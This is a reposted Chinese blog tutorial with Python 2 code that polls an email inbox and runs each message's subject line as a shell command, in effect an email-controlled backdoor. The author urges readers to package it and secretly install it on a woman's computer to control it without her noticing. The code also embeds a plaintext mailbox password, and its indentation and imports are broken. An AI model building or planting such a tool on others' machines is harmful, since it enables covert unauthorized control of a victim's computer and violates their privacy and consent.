python编写微信远程控制电脑的程序

作者:GuityCrown 时间:2023-08-15 17:04:38 

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。


# -*- coding:utf-8 -*-
from email.mime.text import MIMEText
import poplib
import smtplib
import os

class MailManager(object):

def __init__(self):
   self.popHost = 'pop.sina.com'
   self.smtpHost = 'smtp.sina.com'
   self.port = 25
   self.userName = 'ivanzgj@sina.com'
   self.passWord = 'zgj123'
   self.bossMail = '475176416@qq.com'
   self.login()
   self.configMailBox()

# 登录邮箱
 def login(self):
   try:
     self.mailLink = poplib.POP3_SSL(self.popHost)
     self.mailLink.set_debuglevel(0)
     self.mailLink.user(self.userName)
     self.mailLink.pass_(self.passWord)
     self.mailLink.list()
     print u'login success!'
   except Exception as e:
     print u'login fail! ' + str(e)
     quit()

# 获取邮件
 def retrMail(self):
   try:
     mail_list = self.mailLink.list()[1]
     if len(mail_list) == 0:
       return None
     mail_info = mail_list[0].split(' ')
     number = mail_info[0]
     mail = self.mailLink.retr(number)[1]
     self.mailLink.dele(number)

subject = u''
     sender = u''
     for i in range(0, len(mail)):
       if mail[i].startswith('Subject'):
         subject = mail[i][9:]
       if mail[i].startswith('X-Sender'):
         sender = mail[i][10:]
     content = {'subject': subject, 'sender': sender}
     return content
   except Exception as e:
     print str(e)
     return None

def configMailBox(self):
   try:
     self.mail_box = smtplib.SMTP(self.smtpHost, self.port)
     self.mail_box.login(self.userName, self.passWord)
     print u'config mailbox success!'
   except Exception as e:
     print u'config mailbox fail! ' + str(e)
     quit()

# 发送邮件
 def sendMsg(self, mail_body='Success!'):
   try:
     msg = MIMEText(mail_body, 'plain', 'utf-8')
     msg['Subject'] = mail_body
     msg['from'] = self.userName
     self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string())
     print u'send mail success!'
   except Exception as e:
     print u'send mail fail! ' + str(e)

if __name__ == '__main__':
 mailManager = MailManager()
 mail = mailManager.retrMail()
 if mail is not None:
   cmd = mail['subject']
   os.system(cmd)
   mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~


if __name__ == '__main__':
 while True:
   mailManager = MailManager()
   mail = mailManager.retrMail()
   if mail is not None:
     cmd = mail['subject']
     os.system(cmd)
     mailManager.sendMsg()
   time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

来源:http://blog.csdn.net/Ivan_zgj/article/details/51014567

标签:python,微信远程,远程控制
0
投稿

猜你喜欢

  • Python打印斐波拉契数列实例

    2022-11-03 11:40:41
  • Python标准库之time库的使用教程详解

    2023-07-25 05:25:57
  • SQL Server 数据库备份和还原认识和总结 (一)

    2012-10-07 10:52:54
  • div不换行,css不换行,自动换行

    2009-09-07 12:52:00
  • Python基础数据类型tuple元组的概念与用法

    2022-11-25 03:59:16
  • mysql sock 文件解析及作用讲解

    2024-01-26 13:15:47
  • 做网站要习惯化与去习惯化

    2008-06-18 13:36:00
  • 使用SQL语句 INNER JOIN 联接表

    2008-04-27 20:31:00
  • Python多线程、异步+多进程爬虫实现代码

    2023-07-29 03:28:42
  • IE6/7/8/9中Table/Select的innerHTML不能赋值的解决方法

    2024-04-10 16:16:48
  • PHP getallheaders无法获取自定义头(headers)的问题

    2024-04-30 08:47:30
  • 优化Mysql数据库的8个方法

    2024-01-15 01:37:24
  • ASP 字符串转数字格式

    2009-08-19 17:18:00
  • python数据处理——对pandas进行数据变频或插值实例

    2021-01-05 19:22:01
  • python 实现人和电脑猜拳的示例代码

    2021-04-11 01:42:14
  • PHP面向对象程序设计子类扩展父类(子类重新载入父类)操作详解

    2023-10-15 01:41:57
  • python实现分析apache和nginx日志文件并输出访客ip列表的方法

    2022-07-08 00:33:16
  • 浏览器发送URL的编码特性

    2007-10-12 20:51:00
  • Python多叉树的构造及取出节点数据(treelib)的方法

    2021-11-07 05:00:16
  • 在Python的Django框架中实现Hacker News的一些功能

    2023-11-24 19:27:46
  • asp之家 网络编程 m.aspxhome.com